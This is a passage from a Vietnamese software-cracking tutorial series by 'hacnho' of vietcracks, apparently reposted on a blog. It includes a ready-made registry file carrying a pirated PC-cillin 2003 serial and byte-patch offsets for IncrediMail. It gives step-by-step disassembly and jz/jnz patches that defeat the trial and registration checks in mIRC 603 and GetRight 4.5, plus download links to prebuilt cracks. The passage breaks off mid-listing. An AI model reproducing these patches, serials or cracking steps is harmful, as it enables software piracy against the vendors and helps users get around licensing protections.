/&gt;10.HKEY_LOCAL_MACHINE\Software\TrendMicro\PC-cillin\Misc&lt;br /&gt;11.HKEY_LOCAL_MACHINE\Software\TrendMicro\PC-cillin\Proxy&lt;br /&gt;12.HKEY_LOCAL_MACHINE\Software\TrendMicro\PC-cillin\Quarantine&lt;br /&gt;13.HKEY_LOCAL_MACHINE\Software\TrendMicro\PC-cillin\RealTimeScan&lt;br /&gt;14.HKEY_LOCAL_MACHINE\Software\TrendMicro\PC-cillin\Support&lt;br /&gt;15.HKEY_LOCAL_MACHINE\Software\TrendMicro\PC-cillin\Update&lt;br /&gt;16.HKEY_LOCAL_MACHINE\Software\TrendMicro\PC-cillin\WebTrap&lt;br /&gt;17.HKEY_LOCAL_MACHINE\Software\TrendMicro\PC-cillin\Wireless&lt;br /&gt;18.HKEY_LOCAL_MACHINE\Software\TrendMicro\PC-cillin&lt;br /&gt;Chỗ cần crack là  thay đổI key 3 đến key 18…Chỗ này hơi phức tạp, thôi để cho các bạn dể hiểu tôi  dịch từ key 3 đến key 18 ra một file hacnho.reg (chú ý file này tôi đã cracck  rồI…Các bạn copy lạI, đem dán vào notepad, save lạI thành một file hacnho.reg,  chạy để đăng ký…Các bạn có thể đem key này so sánh vớI nộI dung key chưa crack  xem có sự thay đổI gì không &lt;img src="http://www.blogger.com/hvaonline/images/smilies/068ae40523a24c9ef54edefd375e542d.gif" border="0" /&gt; ?&lt;br /&gt;-----&lt;br /&gt;REGEDIT4&lt;br /&gt;&lt;br /&gt;[HKEY_LOCAL_MACHINE\Software\TrendMicro\PC-cillin\Config]&lt;br /&gt;"Mode"=dword:00000001&lt;br /&gt;"Menu"=dword:00000000&lt;br /&gt;"Update"=dword:00000000&lt;br /&gt;"MenuSet"=dword:00000000&lt;br /&gt;"TipHelp"=dword:00000001&lt;br /&gt;&lt;br /&gt;[HKEY_LOCAL_MACHINE\Software\TrendMicro\PC-cillin\Exception]&lt;br /&gt;"File0"="none"&lt;br /&gt;"File1"="none"&lt;br /&gt;"File2"="none"&lt;br /&gt;"File3"="none"&lt;br /&gt;"File4"="none"&lt;br /&gt;"File5"="none"&lt;br /&gt;"File6"="none"&lt;br /&gt;"File7"="none"&lt;br /&gt;"File8"="none"&lt;br /&gt;"File9"="none"&lt;br /&gt;"File10"="none"&lt;br /&gt;"File11"="none"&lt;br /&gt;"File12"="none"&lt;br /&gt;"File13"="none"&lt;br /&gt;"File14"="none"&lt;br /&gt;"File15"="none"&lt;br /&gt;"File16"="none"&lt;br /&gt;"File17"="none"&lt;br /&gt;"File18"="none"&lt;br /&gt;"File19"="none"&lt;br /&gt;"Folder0"="none"&lt;br /&gt;"Folder1"="none"&lt;br /&gt;"Folder2"="none"&lt;br /&gt;"Folder3"="none"&lt;br /&gt;"Folder4"="none"&lt;br /&gt;"Folder5"="none"&lt;br /&gt;"Folder6"="none"&lt;br /&gt;"Folder7"="none"&lt;br /&gt;"Folder8"="none"&lt;br /&gt;"Folder9"="none"&lt;br /&gt;"Folder10"="none"&lt;br /&gt;"Folder11"="none"&lt;br /&gt;"Folder12"="none"&lt;br /&gt;"Folder13"="none"&lt;br /&gt;"Folder14"="none"&lt;br /&gt;"Folder15"="none"&lt;br /&gt;"Folder16"="none"&lt;br /&gt;"Folder17"="none"&lt;br /&gt;"Folder18"="none"&lt;br /&gt;"Folder19"="none"&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[HKEY_LOCAL_MACHINE\Software\TrendMicro\PC-cillin\FireWall]&lt;br /&gt;"dwSetting"=dword:00000000&lt;br /&gt;"Locked"=dword:00000000&lt;br /&gt;"HotSpot"=dword:00000000&lt;br /&gt;"Profile"="PfwRule.dat"&lt;br /&gt;"Installed"=dword:00000001&lt;br /&gt;"AdaptersNum"=dword:00000000&lt;br /&gt;"AdaptersList"=hex:&lt;br /&gt;"Control"=dword:00000001&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[HKEY_LOCAL_MACHINE\Software\TrendMicro\PC-cillin\Intelligent]&lt;br /&gt;"OnOff"=dword:00000001&lt;br /&gt;"ConnectLimit"=dword:00000000&lt;br /&gt;"Interval"=dword:00002A30&lt;br /&gt;"Start"=dword:00000017&lt;br /&gt;"End"=dword:00000008&lt;br /&gt;"Silent"=dword:00000000&lt;br /&gt;&lt;br /&gt;[HKEY_LOCAL_MACHINE\Software\TrendMicro\PC-cillin\MailScan]&lt;br /&gt;"OnOff"=dword:00000001&lt;br /&gt;"Splash"=dword:00000000&lt;br /&gt;"Config"=dword:00000000&lt;br /&gt;"Action"=dword:00000003&lt;br /&gt;"Action2nd"=dword:00000004&lt;br /&gt;"ZipClean"=dword:00000001&lt;br /&gt;"ExtractFileSizeLimit"=dword:FFFFFFFF&lt;br /&gt;"WebMail"=dword:00000001&lt;br /&gt;&lt;br /&gt;[HKEY_LOCAL_MACHINE\Software\TrendMicro\PC-cillin\ManualScan]&lt;br /&gt;"Action"=dword:00000003&lt;br /&gt;"Action2nd"=dword:00000002&lt;br /&gt;"AllFile"=dword:00000001&lt;br /&gt;"CleanBackup"=dword:00000001&lt;br /&gt;"ZipScan"=dword:00000005&lt;br /&gt;"BootScan"=dword:00000001&lt;br /&gt;"ZipClean"=dword:00000001&lt;br /&gt;"MoveDirectory"="C:\\Program Files\\Trend  Micro\\PC-cillin 2003\\QUARANTINE"&lt;br /&gt;"MoveDirectory2nd"="C:\\Program  Files\\Trend Micro\\PC-cillin 2003\\QUARANTINE"&lt;br /&gt;"FileTypeList"=".BIN.CLA.CLASS.COM.DOC.DOT.EXE.OBD.OBT.OBZ.OCX.OVL.SYS.VBS.XLS.XLT.SHS"&lt;br /&gt;"GenericMacro"=dword:00000001&lt;br /&gt;"ExtractFileSizeLimit"=dword:FFFFFFFF&lt;br /&gt;"EncodeBackup"=dword:00000001&lt;br /&gt;"LastMScanMethod"=dword:00000000&lt;br /&gt;"LastMScanStartTime"="\"&lt;br /&gt;"LastMScanTaskName"="\"&lt;br /&gt;"LastMScanFinished"=dword:00000000&lt;br /&gt;"LastMScanEndTime"="\"&lt;br /&gt;"LastTScanMethod"=dword:00000000&lt;br /&gt;"LastTScanStartTime"="\"&lt;br /&gt;"LastTScanTaskName"="\"&lt;br /&gt;"LastTScanFinished"=dword:00000000&lt;br /&gt;"LastTScanEndTime"="\"&lt;br /&gt;"AutoClose"=dword:00000000&lt;br /&gt;"ExcludeExt"="\"&lt;br /&gt;&lt;br /&gt;[HKEY_LOCAL_MACHINE\Software\TrendMicro\PC-cillin\Menu]&lt;br /&gt;"SetMenu"=dword:00000000&lt;br /&gt;&lt;br /&gt;[HKEY_LOCAL_MACHINE\Software\TrendMicro\PC-cillin\Misc]&lt;br /&gt;"ExcludeExt"="\"&lt;br /&gt;&lt;br /&gt;[HKEY_LOCAL_MACHINE\Software\TrendMicro\PC-cillin\Proxy]&lt;br /&gt;"Proxy"=dword:00000000&lt;br /&gt;"SERVER"="\"&lt;br /&gt;"Port"=dword:00000050&lt;br /&gt;"ID"="\"&lt;br /&gt;&lt;br /&gt;[HKEY_LOCAL_MACHINE\Software\TrendMicro\PC-cillin\Quarantine]&lt;br /&gt;"FirstTime"=dword:00000000&lt;br /&gt;"CancelTime"=dword:00000000&lt;br /&gt;"ShowGuide"=dword:00000001&lt;br /&gt;&lt;br /&gt;[HKEY_LOCAL_MACHINE\Software\TrendMicro\PC-cillin\RealTimeScan]&lt;br /&gt;"Action"=dword:00000003&lt;br /&gt;"Action2nd"=dword:00000002&lt;br /&gt;"AllFile"=dword:00000000&lt;br /&gt;"CleanBackup"=dword:00000001&lt;br /&gt;"ZipScan"=dword:00000001&lt;br /&gt;"ZipClean"=dword:00000001&lt;br /&gt;"MoveDirectory"="C:\\Program Files\\Trend Micro\\PC-cillin 2003\\QUARANTINE"&lt;br /&gt;"MoveDirectory2nd"="C:\\Program Files\\Trend Micro\\PC-cillin  2003\\QUARANTINE"&lt;br /&gt;"FileTypeList"=".BIN.CLA.CLASS.COM.DOC.DOT.EXE.OBD.OBT.OBZ.OCX.OVL.SYS.VBS.XLS.XLT.SHS"&lt;br /&gt;"RenameExt"=".VIR"&lt;br /&gt;"InOut"=dword:0000000F&lt;br /&gt;"IOScan"=dword:00000001&lt;br /&gt;"Update"=dword:00000000&lt;br /&gt;"PattnExt"=dword:00000001&lt;br /&gt;"GenericMacro"=dword:00000001&lt;br /&gt;"ExtractFileSizeLimit"=dword:FFFFFFFF&lt;br /&gt;"MonitorNetwork"=dword:00000001&lt;br /&gt;"EncodeBackup"=dword:00000001&lt;br /&gt;"UserName"="Administrator"&lt;br /&gt;&lt;br /&gt;[HKEY_LOCAL_MACHINE\Software\TrendMicro\PC-cillin\Support]&lt;br /&gt;"System"=hex:B2,97,9D,9B,90,8D,9B,9A,5E,A8,9B,8C,8D,97,91,90&lt;br /&gt;&lt;br /&gt;[HKEY_LOCAL_MACHINE\Software\TrendMicro\PC-cillin\Update]&lt;br /&gt;"Year"=dword:00000000&lt;br /&gt;"Month"=dword:00000000&lt;br /&gt;"Day"=dword:00000000&lt;br /&gt;&lt;br /&gt;[HKEY_LOCAL_MACHINE\Software\TrendMicro\PC-cillin\WebTrap]&lt;br /&gt;"UrlFilt"=dword:00000000&lt;br /&gt;"WebFilt"=dword:00000000&lt;br /&gt;"Splash"=dword:00000001&lt;br /&gt;"Alert"=dword:00000000&lt;br /&gt;"Action"=dword:00000001&lt;br /&gt;"PassLock"=dword:00000000&lt;br /&gt;"SendWait"=dword:00000000&lt;br /&gt;&lt;br /&gt;[HKEY_LOCAL_MACHINE\Software\TrendMicro\PC-cillin\Wireless]&lt;br /&gt;"Palm"=dword:00000000&lt;br /&gt;"WinCE"=dword:00000000&lt;br /&gt;"EPOC"=dword:00000000&lt;br /&gt;&lt;br /&gt;[HKEY_LOCAL_MACHINE\Software\TrendMicro\PC-cillin]&lt;br /&gt;"Application  Path"="C:\\Program Files\\Trend Micro\\PC-cillin 2003\\"&lt;br /&gt;"register  no."="OSJF-9999-6388-8759-0082"&lt;br /&gt;"company"="vietcracks"&lt;br /&gt;"name"="hacnho"&lt;br /&gt;"version"="10.00"&lt;br /&gt;"ProductCode"=dword:0000003B&lt;br /&gt;"SourceDir"="C:\\Program Files\\Trend Micro\\PCC2003\\Setup\\"&lt;br /&gt;"ProductGuid"="{CA7FDA46-DFA8-4748-8F2E-8864E545735B}"&lt;br /&gt;&lt;br /&gt;[HKEY_LOCAL_MACHINE\Software\TrendMicro]&lt;br /&gt;&lt;br /&gt;Okie, bây giờ bạn chạy  lạI PC-Cillin 2003, xem oh la la, nó đã được crack….Xin chúc mừng bạn&lt;br /&gt;Nếu  các bạn lườI crack thì có thể down ở đây&lt;br /&gt;Download: &lt;a href="http://www.vietcracks.com/download/crackPC2k.zip" target="_blank"&gt;&lt;span class="link"&gt;http://www.vietcracks.com/download/crackPC2k.zip&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Hôm qua vào thấy các bạn hỏI về crack của IncrediMail 934…Tôi thì đang  xài 884 nhưng cách crack này áp dụng cho version 934, sau khi crack bạn sẽ có  được bản full preminium. Tôi sẽ hướng dẫn các bạn cách crack nó nhưng vắn tắt  thôi vì tôi không có thờI gian (vợ đẻ con đau nhà hết gạo mà lị)…&lt;br /&gt;&lt;br /&gt;Phần  mềm : IncrediMail 884 to 934&lt;br /&gt;Download: www.incredimail.com&lt;br /&gt;File cần  crack: ImUtils.dll&lt;br /&gt;Công cụ : WinDasm 893, Hacker Views 640&lt;br /&gt;Cracker:  hacnho (&lt;a href="http://www.vietcracks.com/" target="_blank"&gt;&lt;span class="link"&gt;www.vietcracks.com&lt;/span&gt;&lt;/a&gt;)&lt;br /&gt;&lt;br /&gt;Ta cần crack tất cả là 5 bytes  (có thể là 3 bytes)&lt;br /&gt;&lt;br /&gt;Có ba offset cần crack&lt;br /&gt;&lt;br /&gt;1. 16B49&lt;br /&gt;2. 32418&lt;br /&gt;3. 32450&lt;br /&gt;&lt;br /&gt;*. ĐốI vớI offset 16B49 ta cần đổI từ JE sang JUMP, tức là  74 sang EB&lt;br /&gt;ta làm như sau : đổI 3 bytes 0F849B thành E9A100, khi đó từ JE sẽ  đổI sang JUMP…cách trên ta phảI đổI tớI 3 bytes lận, cách đơn giản hơn là chỉ  đổI 1bytes là từ 84 sang EB&lt;br /&gt;&lt;br /&gt;*.ĐốI vớI offset 32418 ta cần đổI từ into  thành mov, do đó ta sẽ đổI từ CE thành B0&lt;br /&gt;&lt;br /&gt;*.ĐốI vớI offset 32450 ta cần  đổI filadd thành test, do đó ta sẽ đổI từ DE thành A8&lt;br /&gt;Oh la la quá đơn giản  phảI không các bạn, chỉ cần đổI 5 bytes là ta đã có được một bản full rồI hén…&lt;br /&gt;Chú ý: Các bố nào lườI crack thì có thể download ở đây về xài:&lt;br /&gt;&lt;br /&gt;Download: &lt;a href="http://www.vietcracks.com/download/CrkIncrediMail.zip" target="_blank"&gt;&lt;span class="link"&gt;http://www.vietcracks.com/download/CrkIncrediMail.zip&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;-----------------&lt;br /&gt;Phần THẢO LUẬN:&lt;br /&gt;&lt;br /&gt;Chào các bạn, do là kỳ đầu  tiên chúng ta sẽ thảo luận cách crack phần mềm 123 Icon Hunter v1-0-Full,  download từ &lt;a href="http://www.boilsoft.com/," target="_blank"&gt;&lt;span class="link"&gt;http://www.boilsoft.com/,&lt;/span&gt;&lt;/a&gt; giá của nó là $19.95. Ok chúng  ta sẽ thảo luận cách crack nó…Các bạn download về và tập crack nó nhe…Sau đó các  bạn post bài hướng dẫn của mình lên topic này…tôi sẽ chờ các bạn có lờI giảI rồI  tôi mớI post tiếp phần 8 và hướng dẫn crack nó…&lt;br /&gt;---------------&lt;br /&gt;thế là  chúng ta đã đi hết phần 7, trong phần 8 chúng ta sẽ học crack clicksee 3.0 và  mIRC 603 (bản mớI nhất), đồng thờI tôi cũng đưa ra đáp án của phần mềm 123 Icon  Hunter v1-0-Full&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class="postbody"&gt;Hello, Welcome back !&lt;br /&gt;He he xin chào các bạn, xin lỗi  vì sự chậm trễ. Do mấy hôm nay bận soạn ra HTML một số tut để upload lên  homepage vietcracks nên không kịp up lên cho các bạn phần 8, thành thật xin lỗi.&lt;br /&gt;Phần VIII&lt;br /&gt;Okie nào chúng ta bắt đầu thôi. E hèm hôm nay chúng ta sẽ đi  vào phần 8, đây cũng là phần kết thúc của giai đoạn I: NHẬP MÔN CRACKER. Hôm nay  chúng ta sẽ học gì nhỉ? Cụ thể như sau:&lt;br /&gt;1. Học crack mIRC 603 (phiên bản mới  nhất.)---&gt; Chương trình chat thông dụng.&lt;br /&gt;2. Học crack Getright Version  4.5 ---&gt; Chương trình download cực mạnh&lt;br /&gt;3. Học crack game của hãng  PopCap.Com (học một dạng có thể crack hầu hết tất cả các game hiện nay của hãng  này như Dynomite 2.00y, 2.01, Big Money Delux 1.11, Bejeweled 1.5, Alchemy,  NINGPO MAHJONG DELUXE 1.04, SEVEN SEAS 1.13 vân vân). Vì sao, giống như ES4 hay  EV Tran 2.0 tất cả các phiên bản hay chương trình của PopCap Games đều mã hoá  serial theo cùng một kiểu….&lt;br /&gt;4.Học viết Patch Gen cho các chương trình mình  đã crack (bằng Pascal, C++, VB). Tôi sẽ lần lượt up lên. Trước tiên là  bằng Pascal.&lt;br /&gt;5. Các thuật ngữ, thuật toán cracker (Các bạn bổ sung thêm nếu  thấy chưa đủ…).&lt;br /&gt;6.Các thuật ngữ cơ bản ASSEMBLY dành cho các bạn muốn crack  mà chưa hiểu gì lắm về ngôn ngữ này. (bổ sung sau ...)&lt;br /&gt;&lt;br /&gt;PHẦN VIII :&lt;br /&gt;I. Crack mIRC 603&lt;br /&gt;Phần mềm : mIRC ver 603&lt;br /&gt;Download : www.mirc.com&lt;br /&gt;File crack : mirc.exe&lt;br /&gt;Cracker : hacnho (VCT)&lt;br /&gt;Bảo vệ : 30 days times  trial&lt;br /&gt;&lt;br /&gt;Chúng ta bắt đầu việc đầu tiên là try to crack mIRC version 603.  Đây là một chương trình chat script khá phổ biến. Nhưng phiên bản này chỉ cho  dùng thử 30 ngày. Điều đó buộc chúng ta phải crack nó . Đơn giản tôi là Maria mà  lị he he. Do tôi còn trong Giai Đoạn I. Nên tôi chỉ hướng dẫn các bạn phương  pháp cơ bản nhất của cracker là patch nó.(Thật ra phương pháp tạo serial của  mIRC 603 rất đơn giản là thực hiện các phép toán nhân chia để tạo key. Giới hạn  min của name nhập vào là 5 ký tự. Gồm hai vòng lặp chính. Nhưng thôi mình sẽ bàn  đến phương pháp tính toán serial trong GIAI ĐOẠN II: Cracker Anh Là Ai?)&lt;br /&gt;&lt;br /&gt;Đầu tiên bạn sao lưu file mirc.exe ra dự phòng. Chạy mIRC. Vào menu  About---&gt;Register. Nhập vào Full Name: hacnho, Registration Code: 151083.  Enter, oh la la một nag văng ra "The registration name and number you have  entered do not match....". Okie bạn hãy nhớ lấy nó. Vào W32DisAsm mở file  mirc.exe. Chờ W32DisAsm file mirc xong bạn vào menu String Data Reference, tìm  ra dòng có ghi thông báo ở trên, double click vào nó một lần, đóng hộp hội thoại  String Ref lại, bạn đang ở đây&lt;br /&gt;&lt;br /&gt;* Possible Reference to String Resource  ID=01911: "Registration"&lt;br /&gt;|&lt;br /&gt;:004C698E 6877070000 push 00000777&lt;br /&gt;:004C6993 E8D95DF6FF call 0042C771&lt;br /&gt;:004C6998 50 push eax&lt;br /&gt;:004C6999  6A00 push 00000000&lt;br /&gt;&lt;br /&gt;* Possible Reference to String Resource ID=01912:  "The registration name and number you have entered do not&lt;br /&gt;mat"&lt;br /&gt;|&lt;br /&gt;:004C699B 6878070000 push 00000778 &lt;--- bạn đang ở đây :004C69A0  E8CC5DF6FF call 0042C771 :004C69A5 50 push eax :004C69A6 FF7508 push  [ebp+08]  Okie hãy di chuyển vệt sáng lên trên, tới khi bạn gặp dòng  những dòng sau ------  * Reference To: USER32.SendDlgItemMessageA,  Ord:0000h | :004C6884 E8E96A0900 Call 0055D372 :004C6889 68DFCD5700  push 0057CDDF :004C688E 68F8C95700 push 0057C9F8 :004C6893 E821FBFFFF  call 004C63B9 :004C6898 85C0 test eax, eax :004C689A 0F84B7000000 je  004C6957 &lt;--- Cần crack, chú ý (1) :004C68A0 C60552CA570000 mov byte ptr  [0057CA52], 00 :004C68A7 BE28305800 mov esi, 00583028 :004C68AC  BFF8C95700 mov edi, 0057C9F8 :004C68B1 33C0 xor eax, eax --------- *  Possible Ref to Menu: MenuID_003C, Item: "Register..." | • Possible  Reference to String Resource ID=00134: "* Unloaded agent '%s'"  Nếu bạn  chỉ dừng ở đây thì chưa xong. Tại sao, nếu chúng ta crack ở đây thì chỉ hiện  thông báo "Your registration has been entered successfully.". Nhưng khi khởi  động lại thì không được chấp nhận serial. Híc híc…Xem nào chúng ta thử suy nghĩ  một chút…Khi chúng ta đăng ký rồi nếu đúng thì thằng Mirc sẽ liên kết với một  chỗ nào trong file để xoá menu “ Register…” đi…Suy rộng ra chúng ta sẽ tìm tới  chỗ đoạn mã của menu “ Register…” để “hiệu chỉnh” nó lại. Tức là nhập vào giá  trị nào nó cũng sẽ xoá menu “ Register…” đi . Okie chúng ta quay trở lại  W32DisAsm, vào menu tìm dòng “ Register…” . ủa sao không thấy dòng nào cà???  Đừng lo lắng, hãy vào menu Reference Item, hãy double click cho tới khi nào bạn  gặp dòng “ Register…” mà bên dưới có dòng * Reference To: USER32.DeleteMenu,  Ord:0000h mới được vì đây là đoạn mã dùng để xoá menu khi nhập đúng serial. Nếu  bạn tìm tìm ra dòng “ Register…” mà không có dòng DeleteMenu thì không crack  được . Nếu tìm đúng bạn sẽ thấy như sau:  * Possible StringData Ref from  Data Obj -&gt;"License"&lt;br /&gt;|&lt;br /&gt;:004C6681 68BFA55600 push 0056A5BF&lt;br /&gt;:004C6686 E890FBFFFF call 004C621B&lt;br /&gt;:004C668B 85C0 test eax, eax&lt;br /&gt;:004C668D 7458 je 004C66E7 &lt;--- Cần crack, Chú ý. (2) :004C668F  68DFCD5700 push 0057CDDF :004C6694 68F8C95700 push 0057C9F8 :004C6699  E81BFDFFFF call 004C63B9 :004C669E 85C0 test eax, eax :004C66A0 7445 je  004C66E7 :004C66A2 6A00 push 00000000  * Possible Ref to Menu:  MenuID_003C, Item: "Register..." |  * Possible Reference to String  Resource ID=00134: "* Unloaded agent '%s'" | :004C66A4 6886000000 push  00000086 :004C66A9 FF3568AA5600 push dword ptr [0056AA68]  *  Reference To: USER32.DeleteMenu, Ord:0000h | :004C66AF E8426A0900 Call  0055D0F6 :004C66B4 C60552CA570000 mov byte ptr [0057CA52], 00 :004C66BB  BE28305800 mov esi, 00583028 :004C66C0 BFF8C95700 mov edi, 0057C9F8  :004C66C5 33C0 xor eax, eax ----------  Từ (1) và (2) ta sẽ có  hai chỗ cần crack đó là:  1. Thay đổi (1) từ 84 thành 85 tức cho nó từ  nhập đúng serial thì nhảy thành nhập sai thì nhảy…Bạn dùng Hiews, mở file  mirc.exe (lưu ý nên đóng mirc khi chạy hiew). Nhấn F4 chọn decode, nhấn f5 , gõ  000C5E9A , nhấn F3 đổi 84 thành 85 (jz thành jnz)  2.Thay đổi (2) từ 74  thành 75 tức cho nó từ nhập đúng serial thì xoá menu Register” thành nhập sai  thì xoá menu “Register” …Bạn dùng Hiews, mở file mirc.exe (lưu ý nên đóng mirc  khi chạy hiew). Nhấn F4 chọn decode, nhấn f5 , gõ 000C5C8D , nhấn F3 đổi 74  thành 75 (jz thành jnz). Okie bây giờ bạn hãy chạy thử Mirc 603 và đăng ký  lại xem… try it and get it !!! Cách crack ở trên chỉ dành cho newbie thôi,  vì cách crack đó chỉ cho dùng mIRC miễn phí mà thôi ---&gt; không phải đăng ký,  nhưng mà chúng ta thì được voi đòi tiên mà hi` hi` muốn rằng mỗi khi vào menu  HELP&gt;About thì thì dòng Licenced to: …. mới được &gt;&gt;&gt;làm như ta đây  là mua thật vậy hic hic . Mình có cách chỉ patch duy nhất một byte thôi mà được  dùng như mua thật sự vậy &lt;img src="http://www.blogger.com/hvaonline/images/smilies/068ae40523a24c9ef54edefd375e542d.gif" border="0" /&gt;.  Do thời gian có hạn nên mình chỉ đưa ra địa chỉ cùng các crack thôi, còn phương  pháp crack thì phải dùng SI (mà tôi chưa có hướng dẫn dùng SI cho các bạn) tìm  ra hàm tạo serial rồi patch nó…Nên bạn nào khá hãy tìm ra phương pháp crack cho  mình.&lt;br /&gt;-------&lt;br /&gt;Hướng dẫn: bạn tìm đến địa chỉ RVA 004C6448, đổi 74 thành  75 (jz thành jnz). Okie hãy đăng ký lại xem, wow quá tuyệt phải không??? còn tại  sao mà tôi tìm ra được “ vùng cấm địa” đó là công việc của các bạn nhe .Tự tìm  hiểu lấy :&lt;br /&gt;-------&lt;br /&gt;Download: &lt;a href="http://www.vietcracks.com/download/crackmirc603.rar" target="_blank"&gt;&lt;span class="link"&gt;http://www.vietcracks.com/download/crackmirc603.rar&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;II.Now, chúng ta bước qua chương trình crack thứ hai, đó là Getright  4.5.&lt;br /&gt;&lt;br /&gt;Phần mềm : Getright ver 4.5&lt;br /&gt;Download : www.getright.com&lt;br /&gt;File crack : getright.exe&lt;br /&gt;Cracker : hacnho (VCT)&lt;br /&gt;Bảo vệ : Trial  Version&lt;br /&gt;&lt;br /&gt;Getright ver 4.5 là một phần mềm download khá mạnh, nhưng  phiên bản trial dùng thử thì bị hạn chế các tính năng, điều đó buộc  chúng ta phải crack để sử dụng hết các chức năng của nó .&lt;br /&gt;Đầu  tiên bạn nên sao lưu file getright.exe lại thành một bản backup. Chạy  GetRight Tray Icon trên thanh Start. Right click tại icon getright. Vào menu  about. Wow! Bạn thấy có ba nút lệnh (command button) quan trọng “Buy  now!”, “Buy”, và “Enter Code”. Okie bây giờ bạn click vào nút “Enter Code”,  nhập một số bất kỳ (không nhập chữ). Ở đây tôi nhập là 151083, nhấn  OK, oh la la một nag văng ra "Invalid registration code. Please verify that it  is entered". Bạn hãy ghi nhớ lấy nó. Mở Windasm ra, disasm file  getright.exe. Chờ nó disasm xong bạn vào menu String ref, kiếm dòng thông  báo "Invalid registration code. Please verify that it is entered", double click  vào nó. Đóng Ref lại. Bây giờ bạn đang ở đây:&lt;br /&gt;&lt;br /&gt;* Referenced by a  (U)nconditional or ©onditional Jump at Address:&lt;br /&gt;|:0049F6A8©&lt;br /&gt;|&lt;br /&gt;:0049F6FC 6A00 push 00000000&lt;br /&gt;:0049F6FE 6A00 push 00000000&lt;br /&gt;:0049F700  8D4DF0 lea ecx, dword ptr [ebp-10]&lt;br /&gt;:0049F703 E80FA0FFFF call 00499717&lt;br /&gt;:0049F708 85C0 test eax, eax&lt;br /&gt;:0049F70A 7409 je 0049F715 &lt;--- Chú ý,  cần crack (1)  * Referenced by a (U)nconditional or ©onditional Jump at  Address: |:0049F6FA(U) | :0049F70C 8BCF mov ecx, edi :0049F70E  E832320600 call 00502945 :0049F713 EB0A jmp 0049F71F  * Referenced by  a (U)nconditional or ©onditional Jump at Addresses: |:0049F685©, :0049F70A©  | * Possible Reference to String Resource ID=00123: "Invalid  registration code. Please verify that it is entered" | :0049F715 6A7B  push 0000007B :0049F717 57 push edi :0049F718 E82B330200 call 004C2A48  :0049F71D 59 pop ecx :0049F71E 59 pop ecx  * Possible Reference  to String Resource ID=00123: "Invalid registration code. Please verify that it  is entered" | :0049F715 6A7B push 0000007B &lt;--- Bạn đang ở đây  :0049F717 57 push edi :0049F718 E82B330200 call 004C2A48 :0049F71D  59 pop ecx :0049F71E 59 pop ecx  Chúng ta biết rằng khi serial  nhập vào thì nhập vào ô "RegistrationCode", sau đó nó kiểm tra và liên  kết tới nút “OK”. Chúng ta chỉ cần crack ở đoạn mã này. Vào menu  String Ref, kiếm ra dòng chữ "RegistrationCode", double click để tìm, đóng  ref lại. Chúng ta đang ở đây:  * Possible StringData Ref from Data Obj  -&gt;"%s"&lt;br /&gt;|&lt;br /&gt;:0049F690 68444B5700 push 00574B44&lt;br /&gt;:0049F695 50 push eax&lt;br /&gt;:0049F696 E868050600 call 004FFC03&lt;br /&gt;:0049F69B 83C40C add esp, 0000000C&lt;br /&gt;:0049F69E 8D4DF0 lea ecx, dword ptr [ebp-10]&lt;br /&gt;:0049F6A1 E8699BFFFF call  0049920F&lt;br /&gt;:0049F6A6 85C0 test eax, eax&lt;br /&gt;:0049F6A8 7452 je 0049F6FC &lt;---  Chú ý cần crack (2) :0049F6AA 8B36 mov esi, dword ptr [esi] :0049F6AC  E8FC220700 call 005119AD :0049F6B1 8B4004 mov eax, dword ptr [eax+04]  :0049F6B4 56 push esi  * Possible StringData Ref from Data Obj  -&gt;"RegistrationCode"&lt;br /&gt;|&lt;br /&gt;:0049F6B5 68484B5700 push 00574B48 &lt;&lt;--  bạn đang ở đây !  * Possible StringData Ref from Data Obj -&gt;"Config"&lt;br /&gt;|&lt;br /&gt;:0049F6BA 68184B5700 push 00574B18&lt;br /&gt;:0049F6BF 8BC8 mov ecx, eax&lt;br /&gt;:0049F6C1 E8E5CA0600 call 0050C1AB&lt;br /&gt;:0049F6C6 57 push edi&lt;br /&gt;:0049F6C7  8D8DA0FEFFFF lea ecx, dword ptr [ebp+FFFFFEA0]&lt;br /&gt;:0049F6CD E8DB0B0200 call  004C02AD&lt;br /&gt;:0049F6D2 8D8DA0FEFFFF lea ecx, dword ptr [ebp+FFFFFEA0]&lt;br /&gt;:0049F6D8 C645FC01 mov [ebp-04], 01&lt;br /&gt;:0049F6DC E8732F0600 call 00502654&lt;br /&gt;:0049F6E1 8065FC00 and byte ptr [ebp-04], 00&lt;br /&gt;:0049F6E5 8D8DA0FEFFFF lea  ecx, dword ptr [ebp+FFFFFEA0]&lt;br /&gt;* Possible Reference to Menu: MenuID_0001&lt;br /&gt;|&lt;br /&gt;• Possible Ref to Menu: MenuID_00B4, Item: "OK"&lt;br /&gt;-------------------------&lt;br /&gt;Nếu bạn nó tới đây đã crack được rồi.  Đúng là như vậy, nhưng đây chỉ mới là điều kiện cần nhưng chưa đủ.  Mục đích của chúng ta là disable cái nút “ Enter Code”, xoá nút “Buy  now!” và nút “Buy”, he he chi vậy, để cho người ta không biết dòm vô  tưởng ta bỏ tiền ra mua thật...Khi bạn crack ở trên thì vẫn chạy vi vu  nhưng mấy cái nút đăng ký còn lại rất ngứa mắt, mục đích chúng ta  là xoá nó đi ( đừng dùng reshack, chán lắm). Okie ở đây ta suy luận  một chút, khi nhập đúng Reg Code thì chương trình có một đoạn mã để  kiểm tra, nếu không đúng thì không xoá nút, còn ngược lại thì ...,  Được rồi bạn hãy vào ref, tìm dòng “Config”, hoặc bạn có thể chạy  hàm call 00499717 tại (1) cũng cho kết quả tương tự . Thoát ref ta đang  đứng ở đây:&lt;br /&gt;&lt;br /&gt;* Possible StringData Ref from Data Obj -&gt;"Window00"&lt;br /&gt;|&lt;br /&gt;:004997DA 68384B5700 push 00574B38&lt;br /&gt;&lt;br /&gt;* Possible StringData Ref  from Data Obj -&gt;"Config"&lt;br /&gt;|&lt;br /&gt;:004997DF 68184B5700 push 00574B18&lt;br /&gt;:004997E4 8BC8 mov ecx, eax&lt;br /&gt;:004997E6 E8457C0700 call 00511430&lt;br /&gt;:004997EB 85C0 test eax, eax&lt;br /&gt;:004997ED 7509 jne 004997F8 &lt;---Cần  crack, chú ý (3) :004997EF E8D31A0300 call 004CB2C7 :004997F4 85C0  test eax, eax :004997F6 740A je 00499802  * Referenced by a  (U)nconditional or ©onditional Jump at Address: |:004997ED© |  